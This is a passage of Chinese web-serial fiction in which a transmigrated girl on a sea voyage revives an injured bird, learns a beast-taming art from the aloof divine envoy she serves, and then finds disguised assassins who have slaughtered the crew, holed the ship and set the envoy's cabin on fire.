太阳在海岸线冒了点尖儿,橘黄的旭日将海天一线侵蚀成暖白,让原本冷清的
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大海多了丝柔情的暧昧。
小镇平日里清闲的码头已经满是人流,巍巍巨船昨夜已行至徐淤渡等候在码头。
赵玉屿抬头仰望着这艘五层楼高的巨轮,四十多丈的长度,大小规模堪比航空母舰,这不可能是临时能运来的寻常商船,必定是早已备好的,看来子桑一开始就打算出海。
船只的底层是划桨的苦力和劳工,随行侍从皆住于二层,三层是青使护卫,四层是黑甲军的住处,五层只有一个笼统的大房间,唯子桑一人居住。
除了赵玉屿和平日里侍奉子桑的神侍,其他人想要上顶楼需得通过层层关卡盘查,整艘船各处皆有黑甲军和护卫巡逻,可谓坚如铁盾。
八叠六桅白帆扬风拉起,巨船在舱底船工齐心的吆喝声中浩浩荡荡驶向大海。
子桑不喜海腥味,上了船便窝在房间里未曾踏出过房门,赵玉屿却是激动如雀鸟。
她平生第一次坐这么大的船,就是放到现代也堪称豪华游轮。窜上窜下逛了半日,兴奋地跑到甲板上呼吸新鲜空气。
她喜欢海风送来的淡咸清鲜的气息,像是呼吸间随着阳光穿透碧粼幽深的海面,目醉神驰贪婪观赏着璀璨珊瑚间鱼群嬉戏的光怪陆离的世界。
然而再强烈的新鲜感在看了几日无边无际的空旷海面后被磨灭一空。
大海不比陆地,虽然同样是赶路,但好歹能脚踩在土地上,看看一路不同风景,有花香,有鸟鸣,有翩飞而过的蝴蝶和落叶。
可大海上只有水,一望无垠的灰绿的水,像是古井里潮绿的青苔,沉静、倦怠,波澜不惊的度过一日又一日。唯有阳光普照时,才能在海面描摹上不同的色彩,而寻常日子里只有灰绿色。
赵玉屿坐在甲板的船舷边,无聊的荡着双脚,一眼望穿天际的海面,就像是一眼望得到头的生活。
她有些嫌弃却又贪恋这种生活,无聊是真的无聊,可看似平静安澜的天空往往酝酿暴雨,平淡而朴实的日子总是暗藏风波。
赵玉屿心中隐隐有些不安,却又无从说起,只得归为一声叹息。
许是之前刺杀太多,如今太过安澜反倒有些不自在,她只得如此安慰自己。
远处似有鹤鸣,赵玉屿抬头仰望,就见一道黑白相间的红顶仙鹤盘旋在云端,似是瞧见了她,仙鹤长唳一声俯冲而下,在即将触碰船舷时又骤然高飞,卷起一阵长风,潇洒而去,唯从口中落下一枝粉色的不知名的小花,落在赵玉屿的手中。
已近冬日,天气甚凉,这一点娇嫩的粉意在无垠碧灰的海面上显得格外鲜亮,像是灰土地里升起的月亮。
浪漫又温情。
没想到小白这一只仙鹤居然这么懂女孩子的心思。
赵玉屿得了花,原本寡淡的面容霎时笑如繁花,高举起花枝朝小白晃了晃,在嘹亮的鹤唳声中笑着拎起裙摆跑回船舱,裙摆随着楼梯的弧度轻旋,像是绽放在拐角处的朵朵桃花。
“神使大人,您瞧!”
回到房间,赵玉屿迫不及待的向子桑炫耀花枝,却见房间里窗户竟然大敞开,窗台出有几滴血迹,海风灌入房中,吹散了满屋的熏香。
33. 第 33 章
屋中不见子桑的身影,满屋的抽屉都被翻箱倒柜掀了个底朝天。
赵玉屿心下一紧,慢下脚步,随手拾起一个跌落在地的花瓶掂量在手中,缓缓撩开珠帘走入内室,果然屏风后影影绰绰坐着一道身影。
转过屏风,子桑正全神贯注的给一只小鸟绑棉纱。
见赵玉屿进来,子桑瞥了眼她手中的花瓶,手上绑纱布的动作不停,漫不经心道:“怎么,也想给我头上来一下?”
赵玉屿见他还记着之前自己暴打猴大的事情,哂笑着放下花瓶:“这不是以为屋里进贼人了吗,小女自然是要奋不顾身保护神使大人,谁曾想是神使大人在找药膏啊。”
她瞧了眼桌上的小鸟,灰背白腰,长嘴剪翼,是只幼年的乌燕鸥。
它的右腿受了伤,桌上旁边还放着一支沾满鲜血的短箭,看样子应当是渔民的吹箭。
大自然里弱肉强食,受伤的动物很少有能活下来的,更别说是这种小鸟了。
鲜血将绑的歪七扭八的纱布染透,小鸟的双眼半睁不睁,瞳孔涣散,浑圆的肚子微微起伏,看来只剩下一口气。
赵玉屿见子桑神情专注手下却没个轻重,忍不住轻声道:“神使大人,这样纱布是绑不住的。”
子桑手指一僵,没有说话,但却听话的放下了手中的活儿。
赵玉屿顺势坐下,从他手中接过纱布和剪刀,将染了血的纱布换下,用蜡烛烧了烧剪刀消毒,随后剪掉小鸟腿根的绒毛,露出一片血肉模糊的圆洞。
这血洞几乎贯穿了鸟儿的整个腿根,赵玉屿忍不住道:“怎么伤得这么重。”
她给幼鸟简单擦拭了下伤口,抹上些止血消炎的药膏后重新绑上干净的纱布,手指灵巧翻转间细细系好一个小巧的蝴蝶结。
伤口虽然清理干净了,但血流得太多,情况并不太乐观。
若是有之前子桑炼制的丹药就好了,可子桑平日里懒散放纵惯了,猴大它们也都是精细娇养,根本用不上丹药,所以子桑对于炼丹这种费时费力的事情向来不在意,船上只有些寻常的药物。
再者鸟到底和人不一样,她也不敢随意乱用药。
清理好桌上的药袋和杂物,赵玉屿又将柜子抽屉重新收拾干净。地上满是零零散散的衣物瓶盒,可见寻药膏的人当时有多焦急。
赵玉屿忍不住回头望向子桑,从她的角度,可以看到子桑正歪头趴在桌面上,下巴压着小臂,一只手轻轻拨动乌燕鸥脑袋上的羽毛,全神贯注的注视着它的呼吸,高马尾随着歪头的动作垂到一边,瀑布般落在肩头,在洒入房间的日光下泛着莹润流动的光泽。
唇角忍不住弯起,赵玉屿将药膏放回抽屉,转身离开房间。
待她去厨房取了小米粥回来时,桌子旁已经没有了人影,她抬眼望去,子桑正静静站在窗边望着一望无际的大海。
赵玉屿将小米粥放在桌上笑道:“我去端了些稀米粥来,里面加了滋补的草药,鸟儿喝了应该能尽快恢复些力气。”
“不用了。”
淡漠平静的声音打断她,赵玉屿一怔,子桑转过头望向她,黑如点漆的双眼孤冷荒凉。他扯起一道淡到极致的微笑,仿佛透过她笔直地看穿了生命的尽头,浩浩的风牵引着长发吹向未来,未来只余死寂。
“它死了。”
赵玉屿怔怔地望向桌面的乌燕鸥,它安静地躺在原处,双眼轻阖,眼皮略翻漏出瞳孔涣散的眼球,圆鼓鼓的肚子瘪了下去,没有呼吸。紫黑色的桌面像是一座奢华棺材,四面无限延展,轰隆隆竖起成笼,将它密不透风囚禁在其中,不得往生。
生命有时就是这么脆弱,本就受了重伤又失血过多,活下来是奇迹,活不下来,才是常态。
可赵玉屿不知为何心中空荡荡的,她望着子桑荒漠的神色,哑了哑嗓子问道:“那,这鸟如何处置呢......”
“丢了。”子桑望向窗外白烂的海浪漠然道,“它本就该死在那。”
“是......”
赵玉屿放下盘子,小心翼翼地捧起鸟儿的尸体,许是刚死不久,手掌心还有些残温,不知是鲜血还是羽毛的温度。
软乎乎的一团窝在手心,没有丝毫起伏波动。
这是赵玉屿第一次真正的接触死亡。
以前她对于死亡的理解极其浅薄,无非是文字作品中或缱绻离别或壮烈的牺牲,是电视新闻上冰冷的一串数字,亦或是从子桑的口中听到的平淡描述,在这些流淌的生命的终点,她是以旁听者的身份路过,最多的相处也只是萍水相逢的一面之缘。
所以对于他们的死亡,她或许有些感触却也仅此而已。
可当看着静静躺在手掌心中的这只鸟,这一刻她忽然意识到,死亡的真正含义是失去。
一个柔弱的小小的生命,如沙漏般从指缝间流走,缓缓的,不可抵挡的流走,无论如何拼尽全力都无法抓住,哪怕献出自己的所有也无济于事,万般皆是徒劳。
生死的无力感随着沙漏的流逝深深镌刻在灵魂深处,令人敬畏死亡,进而狂热地恳求神明哪怕施舍一丝怜悯。
那神明本身呢?
赵玉屿转头望向窗边站着的少年。
他背对着自己,看不清神色,金色的阳光将他的轮廓蚀出一层淡金色的光晕。
从一出生就知道自己的死期,知道自己的时间将停留在旁人最好的年华,他过着注定短暂的人生,却要看着那些垂垂老矣却依旧狂热得向自己渴求长生的人贪婪无度的目光。
而后,在命运终将到来的那一日,曾今崇拜他、爱戴他的信徒,心满意足地看着他死去。
所有人都认为这是理所当然的结局,没有人在乎他的恐惧,没有人在乎他的人生,甚至人们有意无意的忘记了,他也只是个十几岁的少年。
赵玉屿转过头,望着手中小小的鸟儿,下定决心的走出了房门。
一出房门,见四下无人,赵玉屿便召唤系统取出还魂丹。
【警告宿主,还魂丹是特级奖励,只此一颗,一经利用或丢弃,无法重新绑定。】
“我知道我知道,我这不是省着用呢嘛。”
赵玉屿用指甲干净利落地在还魂丹上来回剐蹭,嘴里低声叨叨,“一只鸟这么小点儿的身子哪用得着一整颗,我刮点屑子就够它活的了,正好检验下你们这
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还魂丹产品质量合不合格,别再是框我的。”
系统:【......】真是脑回路清奇的宿主。
刮下来一层丹屑,赵玉屿连忙小心翼翼捏开鸟嘴丢进去,又拿小长勺灌了些稀粥水进去,稍稍提溜起后颈,轻拍着鸟肚子帮它顺下去。
*
子桑望着窗外的大海,阳光在粼粼水纹上波动,灿烂得晃眼,海浪一下一下勇猛地拍打着船身,似乎想要跃入窗台,但只能在激起烁白的浪花后又无力褪去,咸腥的海风却肆无忌惮的飘入船舱内,凝成苦涩黏稠的胆汁一瞬间化在舌尖,吐不出也咽不下,只得梗着脖子过活,等待苦水麻痹整个舌头,就像是他的人生。
子桑有些茫然,他明明已经活得够久够潇洒,可为什么还是不甘心。
从心底涌现出的怒意像是被压制的火山,绝望而无助,挣扎着要冲破地表喷薄而出,泄愤似的燃烧每一寸土地,将世上一切拉入岩浆地狱焚毁殆尽。
他是神吗?
世人向他求长生,可笑的是他连一只鸟都救不了。
如果那只鸟注定要死在大海里,那为何要让它苦苦挣扎着落在窗前向他求救;如果他平日能炼制丹药携带在身,或许就能救下它;如果当初他能早一点发现端倪,或许.....或许一切都将不同。
子桑闭上眼睛,攥紧窗沿的双手青筋暴起,强迫自己不去想那阴惨弥黑中幽幽鬼魅般的漫天火光。
不,一切的一切,都只是那些高高在上的神祇对他们的愚弄。
以命运之名,以天道之义,如此决然的将他们抛弃,却又希望他们感恩戴德,以身饲养。
如此可笑,如此,残忍。
这个世界没有奇迹,从来有的,都只是命运的戏谑。
*
“神使大人,神使大人!”
欢愉雀跃的声音跳跃入耳中,子桑听到急错的脚步声、仓促的开门声,转身望去,猝不及防撞入一双波光潋滟的璀璨星眸。
“活了活了!神使大人您看,它活了!”
顺着少女惊喜的声音,子桑的目光落在她手中。
素白的手心里,一只灰背白腰的小鸟似乎有些懵懂,扭着头跌跌撞撞地想要站起,却最终因为体力不支瘫倒在手心里,身子一抽一抽间小脑袋四处乱扭观望。
它右腿处的绒毛被剪光,露出半截光秃秃的屁股,上面绑着的雪白纱布上鲜血已经凝成了暗红色。
子桑怔怔地望着,鸟儿似乎认出了他,朝他啁啾叫了一声。
他方才明明看到它没了气息,身子都僵了。
耳边传来少女喋喋不休的唠叨:“我方才也以为它死了,不死心又给它喂了点稀粥水,还是我那粥好啊,里面特意放了人参啊灵芝啊各种稀有草药,又给它一个劲的做心脏复苏,没想到硬是将它给救了回来!”
子桑轻轻伸出一根手指,那乌燕鸥便微微抬起头,朝他靠近,用脑袋蹭了蹭他的指腹。
温热柔软的触感带着劫后重生的喜悦和眷恋顺着指腹传遍全身,两条性命相触的那一刻,子桑心中一阵奇异的酥麻。
真的......活过来了。
34. 第 34 章
指尖感受到鸟儿蹭动的毛茸茸的脑袋,子桑心中升起一道酥酥苦苦的热流,他勾起嘴角,却有些困惑:“心脏复苏是什么?”
赵玉屿知晓他金尊玉贵不问世事,对于这些救人的招数不知晓也正常,耐心的边比划边解释。
“就是人快死的时候一种救命的手段,按着心脏反复压啊压,若是溺水了,还得人工呼吸,就是嘴对嘴渡气。”
听到嘴对嘴渡气,子桑有些嫌弃:“那多脏,死了算了。”
赵玉屿见他口嫌体正直,忍着笑拍了拍胸脯道:“是是是,反正救人的事儿怎么也轮不到神使大人亲自动手,交给小的们就好啦。”
子桑轻哼一声,从赵玉屿手中小心翼翼地捧过幼鸟,凑到眼前低头想要看个清楚。
赵玉屿美滋滋又有些自得的双手背后,也弯腰凑近,笑眼弯弯地讨赏。
“神使大人,我这算不算是立了一功呀?”
“你胆子大了,敢跟我讨功了?”
子桑睨了她一眼,语气又恢复了往日的惫懒,将幼鸟送回她怀中,自个儿优哉游哉俯身弯着腰,指尖轻顺它的羽毛:“既然你救了它,那之后就由你来照顾它,若是照顾不好,赐你九天神游。”
赵玉屿:“......”
怎么肥事,她明明做了件好事怎么又要压上小命了呢?
果然是万恶的封建上位者,满脑子的剥削思想。
可恶!
赵玉屿撇了撇嘴,抱着幼鸟瓮声瓮气应了一声:“知道了,知道了,神使大人金尊玉贵,伺候伤患这种事情自然是不能劳烦大人您亲自动手,小女这就带它去养伤。”
说罢扭身朝屋外走去。
少女的背影明显有些气恼,子桑悠然的声音飘在身后:“做得好,送你一份大礼。”
听着这话,原本颓丧的背影瞬间来了精神,赵玉屿欢呼一声,干劲十足的跑开:“多谢神使大人!”
银铃般的声音随着雀跃的脚步声一跳一跃的消散,赵玉屿一走,原本充斥着热闹喧嚣的房间顿时空空荡荡,阳光在云移间波荡着金光照射在屋中,像是在屋里镀了一层粼粼波动的水壳,角落里白底青釉的花瓶反射出银光,有些灼眼。
子桑轻然的目光望向花瓶中肆意绽放的那枝粉花,嘴角不经意间微微轻扬。
【滴,恭喜宿主,攻略对象好感度上升百分之八,当前好感度55%】
脑海中传来系统的电子提示音,赵玉屿眼前唰得一亮。
55%!
果然,子桑是个口嫌体正直的傲娇怪!
哎呦喂,感激她就直说嘛,还那么嘴硬做什么。
赵玉屿现在对子桑要送她的大礼十分好奇,抱着小燕鸥亲了一口。
“小燕鸥你可得好好休养,赶快好起来,我肯定将你伺候得白白胖胖~”
燕鸥似乎听懂了她的话,也哑着嗓子叫了一声。
养燕鸥倒不是什么难事。
它吃了回魂丹本就没了性命之忧,只是失血过多需要静养一段时间。
子桑虽说将燕鸥交给赵玉屿照料,但实际上赵玉屿寻常的工作就是侍奉子桑,便是睡觉也是睡在外屋的小榻上,所以乌燕鸥也一直放在五楼的房间里养着。
燕鸥吃鱼,大海上最不缺的就是鱼。
赵玉屿每日都会扛着渔捞网去捞鱼,将新鲜打捞上来的鱼细细处理,切成生鱼片喂给燕鸥。
有时候半日不见鱼群,正待她挠头抓耳时,便见水面碧波荡起,一圈一圈层层叠澜至天际,下一刻,鱼群扑腾扑腾急吼吼从海里飞出,鱼贯如虹,哗啦啦暴雨瀑布般摔在甲板上。
赵玉屿扛着捞网一通乱舞,不仅燕鸥饱食一顿,还能给众人加个餐。
闲来无事时,她便趴在桌子上瞧着小燕鸥梳羽毛吃鱼肉,等它腿伤好些会拎根逗鸟棒绑上炸得酥香娇脆的小鱼干逗它玩,帮助它进行腿部肌肉的恢复训练。
子桑有时候也会趴在桌子上歪头瞧一会儿,目光跟着棒子起起伏伏、晃悠来晃悠去,下意识伸手去抓小鱼干,见赵玉屿笑得花摇柳颤,恼羞成怒的将小鱼干塞进她嘴里,半晌不理她。
日子平淡无奇的一天天过去,但因为乌燕鸥的到来,海上的生活少了枯燥乏味,多了份喧嚣欢闹。
半月之后,乌燕鸥已经可以肆意的在船舱飞旋。它的腿伤已经大好,几个月肥油香鱼的喂养让它原本瘦弱的身体也结实了不少,比最初瞧着要大上许多。
放飞乌燕鸥的那天,它绕着船舷盘旋良久,久久未离,最终在子桑随风飘扬的笛声中嘹亮高鸣,振翅高飞。
灰白的身影挥动双翅渐渐缩小成一团,在远方初升的辉宏旭日中汇成一点,最终被晨光的一片橘红抹去,只留下高亢悠扬的一两句回音。
海风呼呼而过,翻飞在高扬的白帆中,飘卷在翩飞的衣摆里,缱绻于不经意交缠的长发间。
赵玉屿撩起略微凌乱的额发,望向子桑笑着搓了搓手,双手摊平,眼含星光:“嘿嘿,神使大人,您打算赏赐小女什么呀?”
子桑见她主动讨赏,眉梢微扬,旋即双手环胸转身朝船舱走去。
“???”
赵玉屿见他竟然假装没听到,小步追上前:“神使大人,神使大人,您不会说话不算数吧。”
她可是期待了好久,一步不差的跟在他身后碎碎念,企图让子桑想起他的承诺:“当初您说,只要我能照顾好小燕鸥就送我一份大礼。您瞧那小燕鸥被我养得肥光水滑,羽毛油亮,才半个月伤势就痊愈了,比先前还胖了一圈,不亏小女日夜照看,不敢有丝毫懈怠,而且那小燕鸥......”
她话音未落,前面的身影利落旋身,修长的指尖精准抵在她的眉心。
一瞬间,如有滔滔江河灌入脑海,汹涌澎湃激起千层浪,灼热的巨流冲刷着山丘黄土,是骤然撕扯灵魂的剧痛,让人难以承受。
在赵玉屿痛苦哀嚎的同时,子桑已经果断收了手,似乎有些无奈。
“资质平平。”
“???”
赵玉屿捂着脑袋,内心破口大骂:“你丫的不给奖励就算了,伤了我还骂我。”
“我将驭兽术的心法传授于你,可惜你的资质一般,没法一下接受全部的心法,不过这半部心法也够你用的了。”
“啊?”
信息太多一下接收不过来,赵玉屿呆滞片刻,摸了摸额头,似乎还
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有些灼热。
她静下心来在脑海中探识,记忆里似乎的确多出了一些奇怪的印记。那些金色的刻在巨大冰柱上古老神秘的字迹,明明她从未见过,却可以轻松理解其中的奥秘,周身的筋脉像是隐隐有温润的热气涌流,汇聚在丹田。
这就是传说中的心法?
武侠小说里主角被世外高人指点一番后顿时突飞猛进,武艺超绝的绝世心法吗!
卧槽!
那,那她要是学会了,是不是回到现代也可以御兽驾鹤,到时候考个训兽师证,可以加学分的啊!
赵玉屿顿时眼射金光,闪得子桑都有些睁不开眼。
下一刻,赵玉屿已经饱含热泪:“神使大人,您对我真是太好了!”
她原本想冲上前抱一下子桑,但理智告诉她抱上去怕是就得被扔到海里喂鱼,她只得将满腔感激寄托于物,掏出子桑赠与她的玉骨笛“吧唧”亲了一口,宝贝似得紧紧蹭在脸边。
“我一定好好学,不给神使大人丢脸!”
争取什么驯兽师证啊、宠物训导师证啊全都考下,多拿几个学分。
子桑对她突如其来的兴奋与热情还有些不适应,不过想来毕竟是人人做梦都想得到的心法,激动也是人之常情。
传授了心法,子桑却并未教她如何吹笛子。
赵玉屿却有些迫不及待,待众人入眠后,自个便趁着夜深人静,偷偷摸摸跑到船舱外熬夜练习曲子。
她见子桑吹过几次笛子,瞧起来游刃有余,甚是简单,五指灵巧翻飞间曲调便从笛孔中飘然流出。
赵玉屿清了清嗓子,五爪乱飞活动活动手指,旋即笔直而立,庄严肃穆又小心谨慎的吹响了一个音。
“噗——噗——嘶~~~”
嘶哑如老妪,细听是一种残忍。
然而便是这般赵玉屿都难以忍受的破锣嗓子,却惊得一只银鱼跳动,跃出水面,一头撞到船舷昏死在甲板上。
赵玉屿也不知道这条倒霉的银鱼是被她召唤的,还是纯粹被她的笛声吓得。
她又试探性的吹了几声,却发现又有几条鱼垂死挣扎一般跃出水面,旋即一头栽下。
赵玉屿惊喜不已,她冥冥中能感受到一股微乎其微的牵引,飘忽的连结着她和鱼群的心绪。
如此说来,曲子吹得如何其实并不重要,重要的是学会运转心法,随心而动,便能操纵万灵。
难怪有时候子桑不用笛子,也能驭鹤。
想到这一层,赵玉屿顿时自信,变着花样试验如何掌握驭兽术。
“嘶......”
“呼~~”
“哔——哔哔哔——”
“噗——噗噗噗——”
一“曲”吹下来,曲调从笛孔中抖着骨头飘出,呜呜咽咽凄凄惨惨,像是破窗漏风吹得烛火颤颤巍巍,又像是深冬寒夜里小贩肩上的破锣扯着嗓子哭天抢地,或是老太太拄起拐杖抖抖索索叉着腿走路,时而又“刺啦刺啦”像是尖锐的猫爪挠过耳膜,赵玉屿自个听着都一身鸡皮疙瘩。
但!人贵在坚持!
她搓了搓微凉的手,深吸一口气再次吹起骨笛,被雷劈过的音调飘飘洒洒吹向大海。
35. 第 35 章
翌日,赵玉屿顶着眼下青黛准备早膳,就见王厨肥润的大脸盘子上也顶着两个硕大的黑眼圈。
“王厨,你这眼是怎么了?”
王厨一边揉着面一边“嗐”了一声:“别提了,他奶奶的昨晚上见鬼了,总听到鬼哭狼嚎猫叫的,吵得人一夜没睡着。”
旁边的帮手也打了个哈欠,眼泪朦胧:“我也听到了,好像是有人在吹乐吧,也不知道是什么乐器,哔哔啦啦的,调都跑得没边了。”
路过的神侍连忙摆了摆手:“嘘,可不能乱说,咱们这不就神使大人有笛子吗。”
王厨不置可否:“不会吧,神使大人的笛声咱们是听过的,那真是天籁之音,岂是昨晚上的鬼调子能比的。”
神侍赶忙朝他使了个眼色:“不管怎么样都不能在背后乱议论,要是被神使大人知晓那就麻烦了。”
王厨会意,心中也是一惊,暗恼自己多嘴,连忙朝赵玉屿哈哈一笑,讨好道:“玉儿姑娘,咱是糙人,方才乱说的,您可千万别告诉神使大人啊。”
赵玉屿知晓他们的担忧,也自觉昨晚上对不住他们,扰了人家清梦,摆了摆手打哈哈,将锅甩给猴大:“没事没事,昨晚上是猴大玩闹吹笛子,我已经教训过它了,以后不会再半夜吹笛子了。”
猴大一向神出鬼没的,寻常人见不到它也只以为它一直在子桑屋里待着,不疑有他。
王厨竖起大拇指惊叹:“原来如此!不愧是神猴,居然连笛子都会吹!”
一群人顿时狂吹猴大彩虹屁,甚至连笛声都夸得犹如天籁之音,听得赵玉屿汗颜,赶紧哂笑着开溜。
到了晚上,赵玉屿不敢再扰人清梦,又不想放弃难得的独自练习的机会。
想起子桑不用凭借外物就能直接驭兽的能力而艳羡不已,索性尝试内在修行,感知体内自从被注入心法后不易察觉,却源源不断细水长流的那股微弱劲力。
她站在船舷上,尝试回忆起脑海中通天冰柱上镌刻的古怪图字,心中似乎浮现起飘忽又薄弱的渺渺之音,似九天玄歌,又如喃喃浅唱,随着声音潮水涌现,赵玉屿腹部微热,丹田热意如滚滚涟漪以她为中心荡漾开来,与水面泛起的波纹叠叠呼应。
这种感觉是赵玉屿从未体验过的玄妙,仿佛通天遁地,气轻神明又光怪陆离,耳动可闻天地音,心弦可连万物灵。
时间似是静默,赵玉屿屏气凝神半晌,睁开一只眼朝黑漆漆的水面望去,云翳的月光下,除了水纹还是水纹。
再来!
腹中一阵热意过后,睁眼一瞧,水波不惊。
再来!
水波不惊。
再来!
水波还是不惊。
再来!
......水波依旧不惊。
一阵凉风袭过,此时无声胜有声。
试了大半夜,周遭除了她一个活物,就没再看见第二个动物,甚至连条小鱼苗都没见到。
赵玉屿沉默,叹了口气最终放弃,打算等上岸以后找个无人的地方再从吹笛练起吧。
果然,学习最忌讳的就是跨出步子扯着蛋。
不积跬步无以至千里,不积小流无以成江海。她不能一跃十步,但可以从基础练习,由形器入神无,日复一日年复一年,就算是匹瘸腿的骡子,也能一点一点爬过去。
现在,回去睡个饱觉先,明天还得继续伺候小祖宗呢。
安慰好自己,赵玉屿神清气爽,又重新拾起信心,昂首阔步朝船舱走去。
忽而云遮月移间,一道褐黄色的背影闪电般蹿过,她定眼望去,就见那褐黄色的身影攀窗走壁又一跃而起,身段肥硕而灵活的攀着桅杆犹如飞贼,甚是眼熟。
“猴大?”
赵玉屿惊讶。
猴大听到这声音,细长的手臂攀在桅杆上,朝她龇牙咧嘴做了个鬼脸,转瞬一跃入窗,消失在楼中。
赵玉屿连忙追上,顺着楼梯脚步飞旋,追赶着猴大在楼道间闪如黄电的身影,最后跟着它进了一件狭窄的杂货间。
进了房间正待撸起袖子奸笑着捉住它,却见猴大朝她伸出手指“嘘”了一声,圆润的黑白分明的眼睛望向她,指了指她背后的房门。
与此同时,门外传来脚步声,细弱而略显凌乱,像是快步爬过屋顶的耗子。
赵玉屿会意,转身透过门缝探去,果然瞧见几道鬼祟的身影在对面的楼道。
他们穿着土黄色的麻布衣衫,头发统一盘起,皆是古铜色皮肤的壮肌大块头,看模样像是船底的劳工,然而手中却都拎着各色工具,钩子、长绳、钉子、木板、斧头、锤子,各个都双脚潮湿,裤角全是水。
有一人的袖口被黯红濡湿,像是渗着血。
几人鬼鬼祟祟使了眼色,旋即朝一侧轻步快速前行,扭身进了一个房间。
赵玉屿想问猴大是否是发现什么不妥之处,结果一转身就见猴大已经顺着狭小的窗户攀出,不见了身影。
她们此时在船舱里,这窗户极窄,与其说是窗户,不如说是个通风孔,她自然是钻不过去的。
赵玉屿只得出了门,索性蹑手蹑脚悄然绕到对面的楼道,趴在房门处偷听。
然而等了半晌,却没听到任何声音。
不对啊,方才那一队至少有七八个壮汉,这么多人挤在一间屋子里,还带了一堆工具,怎么可能一点声音都没有。
她不敢贸然推开门,见地上还残留着一路的水印,便沿着水印一路往前走,拐过拐角顺着狭窄昏暗的楼梯下到最底层。
船舱底部一片昏暗,一丝一毫的灯光都没有,她顺着楼梯朝下走,忽然踩到一滩黏湿湿稠哒哒的东西。
她掏出火折子,吹亮的那一刻,昏暗的火光下映照一副人间炼狱。
土黄、鲜红糅杂在一起的色彩犹如重击瞬间冲撞入脑海,扑面而来一股浓厚的混合着鲜血和大海的咸腥味。
断臂残肢、白花花的脑浆和鲜血混在黑沉沉的海水里飘浮,像是深海中一座座漂浮不定的鲜血滋养的孤岛。
她脚下,一个只剩下半截身子的劳工趴在楼梯上,死前还在挣扎着向上爬。
直观血腥的画面令人作呕,赵玉屿忍着呕吐转身冲上楼梯,冲到船舱外呕吐,撞上正在巡逻的黑甲军。
“玉儿姑娘,您没事吧?”
这些日子的相处,黑甲军同赵玉屿已经很是熟悉,见她身体不适关切道。<
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赵玉屿忍着恶心,抓住他面色苍白喊道,“有刺客,他们杀了船底的劳工,凿穿了船,快!要沉船了,快去保护神使大人,叫醒所有人!”
黑甲军意识到问题的严重性,顿时沉声道:“是!”
“咚咚咚咚————”
震天的锣鼓声瞬间响彻整条巨船,一声惊起千层浪,灯火通明,人影晃乱,黑甲军沉顿的脚步声冲向一楼。
“碰——”
撞开房门,狭小的屋子里空无一人,唯有海风肆虐。
刘副将走到屋内,伸出头顺着海风大敞的窗口探头往外瞧,屋外的墙壁摇摇晃晃垂下一根绳索,在海浪呼啸的幽黑深夜里有一种异样的诡谲,像是通往地府的幽幽冥路,摇摇挂在楼顶的一串昏黄灯笼就是阴间的月亮,黄泉路上的长明灯。
五楼,绳索直通五楼。
他们的目标是子桑。
“报!将军,二楼南房发现可疑行迹!房内人员被杀,刺客顺绳索攀至顶楼。”
刘副将猛然转身而出,满脸肃杀之气,果决勒令:“保护神使,全力逮捕可疑人员,如果反抗就地斩杀!”
“是!”
快一点,再快一点......
赵玉屿呼吸急促,拼力冲向五楼,心中不断宽慰自己,既然猴大已经提前发现了端倪,那它肯定会提醒子桑,五楼也有黑甲军值守,以子桑的能力不会有事的。
可鼻尖还充斥着强烈血腥味,脑海中闪现出断臂残肢、脑浆四溅、尸海飘浮的场景,她捂住嘴强忍着呕吐冲向顶楼。
不知是不是跑得太快,她感到呼吸逐渐急促、鼻干舌燥,溢萦着血腥味的鼻尖隐隐闻到焦枯的气味,忍不住咳嗽起来。
扶着楼梯继续向上,忽而额头一凉,冷得她打个激灵。抬头向上望去,一只布满血丝的浑浊的眼睛透过楼道的缝隙死死盯着她,吓得赵玉屿腿一软,差点从楼梯上滚下去。
她强忍着恐惧,抖着腿扶墙爬上楼,五楼的墙面上溅了半面血,让人想到屠宰场血迹斑斑的墙。
黑甲军的尸体趴在楼梯扶手上,后背已经被砍烂了,盔甲碎了满地,血肉模糊,滚烫的鲜血顺着地板流淌汇聚成血河,鲜红的血河亮如明镜,倒映出浓烟滚滚的红光。
“咳......咳咳......”
浓烟呛得人呼吸困难,赵玉屿捂住口鼻,跨过一路的尸体冲向楼顶,却发现所有的门窗都被钉死,根本打不开。
“神使大人,咳咳......你在里面吗?!”
赵玉屿拍门大喊,门内却没有丝毫回应。
黑烟或者火光从门缝中钻出,浓雾如黑蛇般丝丝缕缕的缠绕住喉咙,以挣脱不掉的扼喉之势袭来,很快就会让人窒息。把手上的铜环灼热如烙铁,此时奢华的顶间已经成了被密封的棺材,整座巨船就是一座巨大的焚化炉。
赵玉屿见推不开门,捡起地上长刀朝铜环砍去,每砍一刀,她都觉得胸口灼痛,呼吸困难。
急匆匆的脚步于烈火中传来,她扭头望去,半身浴血的劳公面如青牛,青筋暴起的粗糙大手紧握长刀,其上鲜血淋漓,甚至挂着一丝血肉,快步朝赵玉屿走来。
36. 第 36 章
常年沾染血腥人命的杀手,目光阴翳如秃鹫,浑身肃杀煞气只看着就让人新生寒意。
同平日的小打小闹并不相同,赵玉屿知道,他是真的会干净利落解决自己。
她虽然平日里虎些,但在这种杀人不眨眼的恶徒面前是没有丝毫胜算的。
自知不敌,赵玉屿握着刀柄连连后退,抖着声音道。
“这,这位大哥,我打不过你,看今日这架势,想来大哥您也是抱了必死的决心。既然咱们都必死无疑,至少让我死个明白,黄泉路上也能做个伴。”
那杀手显然没想到这小妮子如此识趣,愣了一下。
赵玉屿缓缓向后退去,边退边问:“你们伪装成劳工这么多天,又忌惮黑甲军,所以才会想到趁半夜众人懈怠时动手,放火凿船,将神使钉在房间里是为了防止他驭鹤而逃是吗?你们究竟是什么人?为何要杀神使大人?如此手段谨慎又狠辣,布局缜密,和之前那几波刺客不是一伙的吧?还是说,之前那几波只是假象,防火烧船才是你们的真实目的?”
“你很聪明,不过你的问题未免有些太多了。”
杀手冷笑一声,将长刀压在手臂上揩了揩,一步一步朝她靠近,目光阴桀道:“看在你是个女人的份上,我给你一个痛快。能助太子殿下荣登大宝,也不算冤死,来日投胎,莫要再与邪魔妖道为伍!”
说罢,他不再作一声,抡起长刀朝赵玉屿狠狠砍来。
这一刀凌厉狠辣,若被劈中必死无疑,即便知道自己有还魂丹,但求生的本能让赵玉屿猛然抱头蹲下身子。
长刀从她的头顶削过,砍在墙上木柱,刀痕入柱三寸,拔出的瞬间木墙都抖了抖。
赵玉屿在他拔刀的那刻,连滚带爬朝走廊里面跑去,想要跳窗逃生。那杀手见状,登时快步追上她,再次挥刀砍来。
眼见躲不过这一刀,千钧一发之际,船只忽然向一侧猛然倾斜,巨大的惯性将两人掼倒撞上墙壁,已经被烧成焦炭的屋墙轰然倒塌,砸在两人身上。
